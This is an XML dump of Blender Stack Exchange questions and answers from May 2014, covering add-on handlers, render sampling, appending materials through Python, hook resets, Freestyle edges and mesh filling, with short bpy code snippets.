  <row Id="9357" PostTypeId="1" AcceptedAnswerId="9362" CreationDate="2014-05-14T02:49:42.643" Score="6" ViewCount="1550" Body="&lt;p&gt;What is the best way to manage handlers in an add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making an add-on that uses the &lt;code&gt;scene_update_pre&lt;/code&gt; handler. In the &lt;code&gt;register()&lt;/code&gt; function, I have added this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.handlers.scene_update_pre.append(my_handler) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is how do I setup the &lt;code&gt;unregister()&lt;/code&gt; function to remove the handler if the add-on is disabled? I can't use &lt;code&gt;pop&lt;/code&gt; because it might mess up another add-on, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the best practice when making an Add-on?&lt;/p&gt;&#xA;" OwnerUserId="3141" LastEditorUserId="1363" LastEditDate="2014-05-14T06:41:46.157" LastActivityDate="2014-05-14T06:48:43.510" Title="How to manage Handlers in an add-on?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9358" PostTypeId="2" ParentId="9315" CreationDate="2014-05-14T03:24:58.787" Score="3" Body="&lt;p&gt;There is no existing internal solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are still a few ways to try:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Plan A&lt;/strong&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you just want to adjust something like RGB Curve or Brightness/Satuation/Contrast and so on, you may consider using non-compositing adjustment directly from the &lt;strong&gt;Texture&lt;/strong&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aSZLC.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plan B:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think the closest way to serve such need is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;File Output&lt;/strong&gt; node;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;F12&lt;/kbd&gt; to render(to output composite result);&lt;/li&gt;&#xA;&lt;li&gt;Load that output image into UV/Image Editor, have it displayed on object (just for 3D View);&lt;/li&gt;&#xA;&lt;li&gt;From now on, each time you want to update the composite result to 3D view, hit &lt;kbd&gt;F12&lt;/kbd&gt;, after finishing render, hovering mouse cursor within UV/Image Editor, and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to reload it (or access via &lt;em&gt;Image&lt;/em&gt; &gt; &lt;em&gt;Reload Image&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, you can then see it displayed in solid/textured solid view, etc. I think this screenshot may demostrate all you need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLdez.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Delete the &lt;em&gt;Render Layer&lt;/em&gt; node will ignore scene rendering, which will speed up the file output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure the workflow above can be made to a single button or shortcut by scripting a bit. You just need someone that can help in trying this in coding way. (not me, yet :P) All in all, I believe anyone who knows scripts can provide a one-stop solution.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-14T04:24:26.300" LastActivityDate="2014-05-14T04:24:26.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9359" PostTypeId="1" AcceptedAnswerId="9360" CreationDate="2014-05-14T03:45:06.387" Score="6" ViewCount="34232" Body="&lt;p&gt;How can I change the number of Samples in Blender Render in 2.70? I've looked everywhere in the UI, the internet and the manual and can't find it anywhere. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Integrator&quot; rel=&quot;noreferrer&quot;&gt;This page&lt;/a&gt; in the manual makes it look like it should be very obviously found in the Scene tab, but I still don't see it.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-14T03:51:16.097" LastActivityDate="2020-05-23T22:30:29.590" Title="How can I change the number of Samples in Blender Render in 2.70?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9360" PostTypeId="2" ParentId="9359" CreationDate="2014-05-14T06:31:08.057" Score="11" Body="&lt;p&gt;That page is for cycles (note the URL: &lt;code&gt;/Render/&lt;/code&gt;&lt;strong&gt;&lt;code&gt;Cycles&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;/Integrator&lt;/code&gt;).&#xA;&amp;quot;Scene settings&amp;quot; in that case refers to settings that effect the entire scene, as opposed to material settings which only affect objects which use that material.&lt;/p&gt;&#xA;&lt;p&gt;There really isn't a global samples value for BI the way there is for cycles, as the way they work is so different (see &lt;a href=&quot;https://blender.stackexchange.com/q/5820/599&quot;&gt;How is Cycles different from Blender Internal?&lt;/a&gt;). However, BI does use &lt;a href=&quot;http://en.wikipedia.org/wiki/Ray_tracing_%28graphics%29&quot; rel=&quot;noreferrer&quot;&gt;raytracing&lt;/a&gt;, similar to cycles, for some things. So where applicable there are &lt;em&gt;sample&lt;/em&gt; settings to control the number of raytraced samples:&lt;/p&gt;&#xA;&lt;h1&gt;Global (&amp;quot;scene&amp;quot;) settings:&lt;/h1&gt;&#xA;&lt;p&gt;When the Gather method is set to &lt;em&gt;raytrace&lt;/em&gt;, you can set the number of samples used for AO and environment lighting in &lt;em&gt;Properties &amp;gt; World &amp;gt; Gather &amp;gt; Sampling&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7QMpp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Per material/lamp settings:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Glossy reflection and refraction in &lt;em&gt;Properties &amp;gt; Materials&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZhlT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Raytraced shadows on lamps:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LDAif.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-14T06:41:21.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9361" PostTypeId="2" ParentId="9348" CreationDate="2014-05-14T06:34:27.370" Score="1" Body="&lt;p&gt;The bvh cache files can be found in a folder called cache that will be located in the same folder as the config folder that contains &lt;code&gt;startup.blend&lt;/code&gt;, the filenames start with &lt;code&gt;bvh_&lt;/code&gt; followed by a unique 32 character string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; for details about where the config folder can be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/9291/935&quot;&gt;This question&lt;/a&gt; has more info on when the BVH Cache can be helpful.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-05-14T06:34:27.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9362" PostTypeId="2" ParentId="9357" CreationDate="2014-05-14T06:48:43.510" Score="9" Body="&lt;p&gt;It is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def unregister():&#xA;    bpy.app.handlers.scene_update_pre.remove(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blender will call &lt;code&gt;unregister()&lt;/code&gt; in the moment you untick the addon in the &lt;em&gt;User Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my_handler&lt;/code&gt; is a function in the global scope of your script, and you append it to the scene update handlers. You can remove it in the same way, by giving a function reference to &lt;code&gt;remove()&lt;/code&gt;. It doesn't work if you try to remove a handler callback from outside, because another script hasn't the same function.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-14T06:48:43.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9363" PostTypeId="1" AcceptedAnswerId="9364" CreationDate="2014-05-14T08:28:48.120" Score="3" ViewCount="2300" Body="&lt;p&gt;I found some really useful code for keyframe animations. &#xA;But i need a specific property (in this case for the Cycles camera visibility) &#xA;and i only found &quot;location&quot;, &quot;gravity&quot; or &quot;value&quot;. &#xA;Is there some kind of List of all the keyframe data_paths?&#xA;Or a option to &quot;see&quot; the names of the animationpaths ?&lt;/p&gt;&#xA;" OwnerUserId="3467" LastActivityDate="2014-05-14T21:34:07.097" Title="Is there a list for Keyframe data_paths in Blender?" Tags="&lt;python&gt;&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9364" PostTypeId="2" ParentId="9363" CreationDate="2014-05-14T08:38:29.347" Score="2" Body="&lt;p&gt;As CoDEmanX describes below, your best bet is to go to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/&quot; rel=&quot;nofollow&quot;&gt;API Documentation&lt;/a&gt; and search for &lt;code&gt;bpy.types.&lt;/code&gt; plus the type and property (for example, search for &lt;code&gt;bpy.types.Object.hide&lt;/code&gt;). There you can find &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.types.Object.html?highlight=bpy.types.object.hide#bpy.types.Object.hide&quot; rel=&quot;nofollow&quot;&gt;how to &lt;code&gt;hide&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/info_api_reference.html&quot; rel=&quot;nofollow&quot;&gt;here how to figure out data paths&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-14T21:34:07.097" LastActivityDate="2014-05-14T21:34:07.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9365" PostTypeId="1" CreationDate="2014-05-14T08:54:08.127" Score="3" ViewCount="1403" Body="&lt;p&gt;I have many files containing different parts of my blender internal material collection. How can I make a script which imports all of them into another blend file?&lt;/p&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="599" LastEditDate="2014-05-14T18:11:19.727" LastActivityDate="2014-05-14T19:47:54.690" Title="How can I import BI materials from another blender file with python?" Tags="&lt;python&gt;&lt;materials&gt;&lt;append&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9366" PostTypeId="2" ParentId="9365" CreationDate="2014-05-14T10:52:23.433" Score="4" Body="&lt;p&gt;There is some archaic way you could do this with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_0/bpy.ops.wm.html#bpy.ops.wm.link_append&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.wm.link_append()&lt;/code&gt;&lt;/a&gt; but a better way is to work with the api available via &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_4/bpy.types.BlendDataLibraries.html#bpy.types.BlendDataLibraries&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.types.BlendDataLibraries&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# using a relative path&#xA;path = &quot;//file_name.blend&quot;&#xA;&#xA;with bpy.data.libraries.load(path) as (data_from, data_to):&#xA;    data_to.materials = data_from.materials&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a sanity check or for logging purposes, you can loop through what was appended and see if everything is there as it should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for mat in data_to.materials:&#xA;    if mat is not None:&#xA;        print(mat.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it relates to many files, it should be simple enough to extend the script to also loop through a list of filenames to append materials from. A final note, the materials appended have no users so make sure to stick them somewhere before closing your file.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-05-14T19:47:54.690" LastActivityDate="2014-05-14T19:47:54.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9367" PostTypeId="1" CreationDate="2014-05-14T11:04:41.910" Score="6" ViewCount="1510" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zXdaV.png&quot; alt=&quot;How can I set the hook object back to rest position?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image above shows a simple hook modifier setup with the hook object (the empty) moved. At the end of the line there is a small black dot denoting the rest position of the object. How can I get the empty back there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The options &quot;reset&quot; and &quot;recenter&quot; both don't accomplish what I want. Reset will put the object back into it's original state without moving the hook. Recenter will put the origin of the hook to the 3D cursor, but once again not move it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I want this? Well, I have an object rigged with hooks that has already been transformed and don't want to change the rig by changing the rest positions of the hooks. It seems like the rest positions are not centered around the hooked vertices so selecting the geometry and placing the hook there is not an option :(&lt;/p&gt;&#xA;" OwnerUserId="3484" LastEditorUserId="3484" LastEditDate="2014-05-14T11:14:04.503" LastActivityDate="2016-06-28T11:50:41.053" Title="How to reset hook position" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9368" PostTypeId="2" ParentId="9363" CreationDate="2014-05-14T12:17:45.897" Score="4" Body="&lt;p&gt;You can right click the property in the user interface and choose &lt;code&gt;Copy Data Path&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also key it manually and explore the object's animation data with the outliner using the data block option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TB5Iz.png&quot; alt=&quot;outliner&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or view it in the graph editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NYXzg.png&quot; alt=&quot;graph editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try to create a list yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;txt = bpy.data.texts.new(&quot;list&quot;)&#xA;for prop in obj.bl_rna.properties:&#xA;    if prop.is_animatable and not prop.is_readonly:&#xA;        txt.write(prop.identifier + '\n')&#xA;    elif prop.type == &quot;POINTER&quot;:&#xA;        txt.write(&quot;---Pointer--- \n&quot; + prop.identifier + '\n')&#xA;        for sub in prop.fixed_type.bl_rna.properties:&#xA;            if sub.is_animatable and not sub.is_readonly:&#xA;                txt.write(sub.identifier + '\n')&#xA;        txt.write(&quot;------------- \n&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible to explore the properties with the outliner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/boSiY.png&quot; alt=&quot;rna_properties&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-05-14T12:23:38.560" LastActivityDate="2014-05-14T12:23:38.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9369" PostTypeId="1" CreationDate="2014-05-14T12:53:22.497" Score="1" ViewCount="93" Body="&lt;p&gt;Is there a way to intercept operation calls? I want to call another operation every time someone calls a Modal operation (&lt;code&gt;bpy.ops.transform.translate&lt;/code&gt;) -- I need to get a callback when it starts and when it finishes to run a complementary script. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="2173" LastEditDate="2014-05-15T08:57:36.830" LastActivityDate="2014-05-15T08:57:36.830" Title="Intercepting Operation Calls" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9370" PostTypeId="2" ParentId="9355" CreationDate="2014-05-14T15:24:41.370" Score="13" Body="&lt;h2&gt;Animation in blender, there are &lt;em&gt;lots&lt;/em&gt; of options.&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You could use shape keys (they are very good for this kind of thing, but you don't want to so some other options)&lt;/li&gt;&#xA;&lt;li&gt;You could rig the mesh and then animate the bones.&lt;/li&gt;&#xA;&lt;li&gt;You could add hooks to part of your mesh, and then animate the hook.&lt;/li&gt;&#xA;&lt;li&gt;If you have a very dense mesh, then add a lattice modifier and add the hooks to the lattice.&lt;/li&gt;&#xA;&lt;li&gt;Or use a  mesh deform modifier and add the hooks to the cage mesh.&lt;/li&gt;&#xA;&lt;li&gt;For a different kind of control, add a curve modifier to the mesh, and again add hooks to the curve handles. &lt;/li&gt;&#xA;&lt;li&gt;You could use a displacement modifier and animate the texture.&lt;/li&gt;&#xA;&lt;li&gt;The AnimAll Addon is another option&lt;/li&gt;&#xA;&lt;li&gt;For any of the modifiers you can add and animate a vertex group to get more control.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are more ways to animate meshes in blender, but this is just a sample. It should be noted that if you don't mind animating in edit mode, that the AnimAll addon can be used to save a step in place of the hooks in the above methods. If you would like more detail on any of these methods leave a comment.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-05-14T20:42:50.217" LastActivityDate="2014-05-14T20:42:50.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9371" PostTypeId="1" AcceptedAnswerId="9374" CreationDate="2014-05-14T15:33:30.307" Score="6" ViewCount="7631" Body="&lt;p&gt;I have a problem with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&quot; rel=&quot;noreferrer&quot;&gt;Freestyle&lt;/a&gt; rendering: I can't make it draw all the edges. Sometimes it just skips them. I recreated this with a cube and two planes by just adding additional loop cuts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5jAlJ.png&quot; alt=&quot;FreeStyleProblem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this? Here is my blend file: &lt;a href=&quot;http://www.pasteall.org/blend/29163&quot; rel=&quot;noreferrer&quot;&gt;FreeStyleTest.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3440" LastEditorUserId="2173" LastEditDate="2014-05-14T21:39:28.563" LastActivityDate="2020-08-11T16:09:46.130" Title="Freestyle not drawing all the edges" Tags="&lt;rendering&gt;&lt;freestyle&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9372" PostTypeId="1" CreationDate="2014-05-14T16:37:59.087" Score="2" ViewCount="1233" Body="&lt;p&gt;I'm using the game engine and programming in Python. I have a mesh and I need only a part of it detect collisions, I mean only a vertex group of that mesh. How could I do this? I know how to detect collisions using the entire mesh.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-05-15T01:38:03.810" Title="Collision in Python" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9373" PostTypeId="1" AcceptedAnswerId="9375" CreationDate="2014-05-14T16:43:03.450" Score="9" ViewCount="4184" Body="&lt;p&gt;I wanted to create edges between these vertices automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LzwuN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I selected all these vertices and pressed &lt;kbd&gt;F&lt;/kbd&gt; this is what i got:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zi7Px.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create edge between each vertex I selected 3 or 4 vertices at a time and then I pressed &lt;kbd&gt;F&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7NZCd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I did the same for all:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qswUw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is their any shortcut method to do this?&lt;/p&gt;&#xA;" OwnerUserId="3360" LastEditorUserId="2173" LastEditDate="2014-05-14T17:43:09.030" LastActivityDate="2014-08-13T19:03:44.057" Title="How can I automatically create edges according to the number of vertices?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9374" PostTypeId="2" ParentId="9371" CreationDate="2014-05-14T16:53:04.093" Score="9" Body="&lt;p&gt;The perfect way to ensure the expected edge to be lined is by using &lt;a href=&quot;http://wiki.blender.org/index.php/User:Flokkievids/Freestyle/freestyle_edges&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Freestyle marks&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all edges you want to draw as edges, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; &gt; Make Freestyle Edge;&lt;/li&gt;&#xA;&lt;li&gt;Only toggle &lt;strong&gt;Edge Mark&lt;/strong&gt; in Freestyle Line Set panel. As shown below:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TOCJp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="2173" LastEditDate="2014-05-14T21:41:16.440" LastActivityDate="2014-05-14T21:41:16.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9375" PostTypeId="2" ParentId="9373" CreationDate="2014-05-14T18:02:36.873" Score="10" Body="&lt;p&gt;You have a couple options:&lt;/p&gt;&#xA;&lt;h1&gt;Triangulate:&lt;/h1&gt;&#xA;&lt;p&gt;Press &lt;kbd&gt;F&lt;/kbd&gt; with everything selected to make an n-gon, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to triangulate it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/41jQg.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Bridge:&lt;/h1&gt;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/9373/how-to-create-automatic-edges-according-to-number-of-vertex#comment15255_9373&quot;&gt;Leon Cheung already mentioned&lt;/a&gt;, you can use the bridge tool.&lt;/p&gt;&#xA;&lt;p&gt;Select the opposite edge loops (in this case, everything) and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Bridge edge loops&lt;/em&gt; or &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iFcBC.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This method will create quads if the the edge loops have the same vertex count but otherwise creates triangles. You can press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to automatically convert some of the tris to quads.&lt;/p&gt;&#xA;&lt;h1&gt;Fill:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;You might already know this, but I thought I'd mention it just in case.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Usability_tools#Modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fill now automatically detects vertices&lt;/a&gt; for the new faces, so to do what you did in your question you only have to select two vertices and then repeatedly press &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fEdp1.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-13T19:03:44.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9376" PostTypeId="2" ParentId="9372" CreationDate="2014-05-14T20:10:30.830" Score="3" Body="&lt;p&gt;To enable collision for the &lt;strong&gt;physics&lt;/strong&gt; to certain faces you have to create a collision object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, add a new lowpoly mesh object which recreates the part which has to collide. Or enter edit mode with your object selected, select the collision faces (easy with pressing &lt;kbd&gt;C&lt;/kbd&gt; or &lt;kbd&gt;B&lt;/kbd&gt;), hit &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate and &lt;kbd&gt;RMB&lt;/kbd&gt; or &lt;kbd&gt;Esc&lt;/kbd&gt; to cancel translation. Then hit &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Selection&lt;/em&gt; to separate the selected faces to a new object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally parent the display object to the collision object (select the display object and then the collision object, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Object&lt;/em&gt;).&#xA;Go to the game properties, set the collision object to invisible and the Physics Type of the display object to No Collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To detect collision with/for &lt;strong&gt;logic bricks&lt;/strong&gt; you must also create an other collision object.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="599" LastEditDate="2014-05-15T01:38:03.810" LastActivityDate="2014-05-15T01:38:03.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9377" PostTypeId="2" ParentId="9373" CreationDate="2014-05-14T21:40:14.063" Score="2" Body="&lt;p&gt;You can also enable the preinstalled F2 addon. Then after &quot;filling&quot; to verts to an edge you can &quot;fill&quot; the edge with &lt;kbd&gt;F&lt;/kbd&gt;. Then the addon adds automaticly a quad face in the direction of your mouse.&lt;br&gt;&#xA;(With this addon you have a few more options like filling a single point in a mesh etc)&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2014-05-14T21:40:14.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9379" PostTypeId="1" CreationDate="2014-05-14T21:56:18.693" Score="27" ViewCount="58957" Body="&lt;p&gt;I was doing my best to follow this tutorial from the Blender Guru, but, alas, 8 minutes in I've run into a real spot, a few moments after this &lt;a href=&quot;http://youtu.be/Xbc3KMIOuKM?t=8m59s&quot;&gt;spot in the video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only hide the selected, not hide all &lt;em&gt;BUT&lt;/em&gt; the selected.  (Edits then effects ONLY the selected vertices.)  I know, there is a way to invert selection, but it doesn't look like he does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what does he mean do he says, &quot;This is not perfectly aligned...&quot;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="12" LastEditDate="2014-05-14T23:05:27.710" LastActivityDate="2014-05-15T15:20:12.000" Title="Hiding all but the selected objects?" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
